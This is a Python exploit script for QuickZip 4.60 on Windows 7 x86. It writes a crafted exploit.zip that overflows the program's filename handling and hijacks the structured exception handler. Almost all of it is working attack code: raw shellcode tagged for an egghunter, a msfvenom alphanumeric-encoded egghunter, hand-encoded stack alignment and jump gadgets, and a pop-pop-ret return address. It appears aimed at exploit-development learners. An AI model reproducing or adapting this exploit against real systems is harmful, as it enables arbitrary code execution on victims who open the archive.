##################################################
##
##Exploit developed by l3x4
##Twitter: https://twitter.com/l3x4overflow
##Github:  https://github.com/l3x4overflow
##
##Thanks to knapsy (www.knapsy.com) and @corelanc0d3r for his tutorials about
##
##This exploit is a bit interesting cause of the null bytes in the seh addres and cause the own encoding.


print ("[*]Exploit QuickZip 4.60")
print ("Windows 7 x86")

def createFile(filename, text):
    newFile = open(filename, "w")
    newFile.write(text)
    newFile.close()

filename = "exploit.zip"

header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" #LOCAL FILE HEADER
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")

header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" #CENTRAL DIRECTORY FILE HEADER
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" #END OF CENTRAL DIRECTORY RECORD
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")

print ("[+]Crafting exploit...")

size = 4064
stack_align_offset = 60
egg_addr_offset = 12
nseh_offset = 296

shellcode = "w00tw00t"
shellcode += "\xbf\x0d\x2e\xbb\x51\xda\xdb\xd9\x74\x24\xf4\x5d"
shellcode += "\x2b\xc9\xb1\x31\x83\xed\xfc\x31\x7d\x0f\x03\x7d"
shellcode += "\x02\xcc\x4e\xad\xf4\x92\xb1\x4e\x04\xf3\x38\xab"
shellcode += "\x35\x33\x5e\xbf\x65\x83\x14\xed\x89\x68\x78\x06"
shellcode += "\x1a\x1c\x55\x29\xab\xab\x83\x04\x2c\x87\xf0\x07"
shellcode += "\xae\xda\x24\xe8\x8f\x14\x39\xe9\xc8\x49\xb0\xbb"
shellcode += "\x81\x06\x67\x2c\xa6\x53\xb4\xc7\xf4\x72\xbc\x34"
shellcode += "\x4c\x74\xed\xea\xc7\x2f\x2d\x0c\x04\x44\x64\x16"
shellcode += "\x49\x61\x3e\xad\xb9\x1d\xc1\x67\xf0\xde\x6e\x46"
shellcode += "\x3d\x2d\x6e\x8e\xf9\xce\x05\xe6\xfa\x73\x1e\x3d"
shellcode += "\x81\xaf\xab\xa6\x21\x3b\x0b\x03\xd0\xe8\xca\xc0"
shellcode += "\xde\x45\x98\x8f\xc2\x58\x4d\xa4\xfe\xd1\x70\x6b"
shellcode += "\x77\xa1\x56\xaf\xdc\x71\xf6\xf6\xb8\xd4\x07\xe8"
shellcode += "\x63\x88\xad\x62\x89\xdd\xdf\x28\xc7\x20\x6d\x57"
shellcode += "\xa5\x23\x6d\x58\x99\x4b\x5c\xd3\x76\x0b\x61\x36"
shellcode += "\x33\xe3\x2b\x1b\x15\x6c\xf2\xc9\x24\xf1\x05\x24"
shellcode += "\x6a\x0c\x86\xcd\x12\xeb\x96\xa7\x17\xb7\x10\x5b"
shellcode += "\x65\xa8\xf4\x5b\xda\xc9\xdc\x3f\xbd\x59\xbc\x91"
shellcode += "\x58\xda\x27\xee"

# egg alphanumeric shellcode
# msfvenom -p generic/custom PAYLOADFILE=./egghunter.bin -e x86/alpha_mixed bufferregister=eax -f python
egg = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x50\x66\x4d\x51\x58\x4a\x39\x6f\x66\x6f\x47\x32\x76"
"\x32\x62\x4a\x65\x52\x73\x68\x78\x4d\x56\x4e\x47\x4c"
"\x67\x75\x70\x5a\x62\x54\x4a\x4f\x48\x38\x44\x37\x50"
"\x30\x30\x30\x51\x64\x4e\x6b\x58\x7a\x4c\x6f\x34\x35"
"\x59\x7a\x6c\x6f\x43\x45\x58\x67\x4b\x4f\x4d\x37\x41"
"\x41")

#making eax point to our egg address
# push esp; pop eax; sub eax, 0xd4; jmp eax;

egg_addr = "\x25\x01\x01\x01\x01"   # and eax,0x01010101
egg_addr += "\x25\x10\x10\x10\x10"   # and eax,0x10101010

# crafting \x90\x90\x90\xe0
egg_addr += "\x05\x70\x70\x70\x70" # add eax, 0x70707070
egg_addr += "\x05\x70\x20\x20\x20" # add eax, 0x20202070

egg_addr += "\x50" # push eax

egg_addr += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
egg_addr += "\x25\x10\x10\x10\x10"   # and eax,0x10101010

# crafting \xff\x00\x00\x00
egg_addr += "\x05\x01\x01\x01\x67" # add eax, 0x77010101
egg_addr += "\x05\x01\x01\x01\x67" # add eax, 0x77010101
egg_addr += "\x05\x01\x01\x01\x42" # add eax, 0x22010101
egg_addr += "\x2d\x03\x03\x03\x11" # sub eax, 0x11030303

egg_addr += "\x50" # push eax

egg_addr += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
egg_addr += "\x25\x10\x10\x10\x10"   # and eax,0x10101010

# crafting \xd4\x2d\x58\x54
egg_addr += "\x05\x43\x47\x17\x72" # add eax, 0x72174743
egg_addr += "\x05\x11\x11\x16\x62" # add eax, 0x62161111

egg_addr += "\x50" #push eax

#align the stack in a controlled area
#encoding and pushing to the stack a custom crafted jmp $-100 to start to write egg_addr
# push esp; pop eax; add eax, 0x788; push eax; pop esp; jmp $-100

stack_align = "\x54" # push esp
stack_align += "\x58" # pop eax

# crafting add eax, 0x788
stack_align += "\x05\x19\x08\x01\x01" # add eax, 0x01010819
stack_align += "\x2d\x01\x01\x01\x01" # sub eax, 0x01010101
stack_align += "\x05\x71\x01\x01\x01" # add eax, 0x01010171
stack_align += "\x2d\x01\x01\x01\x01" # sub eax, 0x01010101

stack_align += "\x50" # push eax
stack_align += "\x5c"  # pop esp

# crafting jmp $-100 in eax and pushing it into the stack
stack_align += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
stack_align += "\x25\x10\x10\x10\x10"   # and eax,0x10101010

stack_align += "\x05\x7b\x7a\x01\x01" # add eax, 0x01017a7b
stack_align += "\x2d\x01\x01\x01\x01" # sub eax, 0x01010101
stack_align += "\x05\x72\x22\x01\x01" # add eax, 0x01012272
stack_align += "\x2d\x01\x01\x01\x01" # sub eax, 0z01010101
stack_align += "\x50" # push eax

payload = egg
payload += "A" * (egg_addr_offset)
payload += egg_addr
payload += "A" * (nseh_offset - stack_align_offset - len(payload))
payload += stack_align
payload += "A" * (nseh_offset - len(payload))
payload += "\x71\xb1\x70\xb1" # jno $-77 | jo $-77 : The b1 ($-77) gets converted to a6 (-88) to being a bad character
payload += "\x33\x7A\x40\x00" # seh pop pop ret (0x00407A33)
payload += shellcode
payload += "A" * (size - len(payload))
payload += ".txt"

exploit = header_1 + payload + header_2 + payload + header_3 + payload

createFile(filename, exploit)

print("[+]Exploit completed...")






